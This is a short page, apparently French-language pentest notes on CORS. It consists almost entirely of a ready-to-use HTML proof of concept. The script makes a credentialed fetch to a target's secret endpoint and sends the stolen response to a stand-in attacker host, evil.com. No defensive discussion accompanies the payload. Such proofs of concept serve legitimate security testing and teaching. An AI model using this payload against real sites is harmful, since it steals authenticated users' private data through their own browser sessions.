CORS
Cross-Origin Ressource Sharing
Mis à jour
<!DOCTYPE html>
<html>
<body>
<script>
fetch("https://target.xyz/secret", {
method: "GET",
credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
})
.then(res => res.text())
.then(data => {
// Send result back to attacker
fetch("https://evil.com/log?data=" + encodeURIComponent(data));
})
.catch(err => {
console.error("Error:", err);
});
</script>
</body>
</html>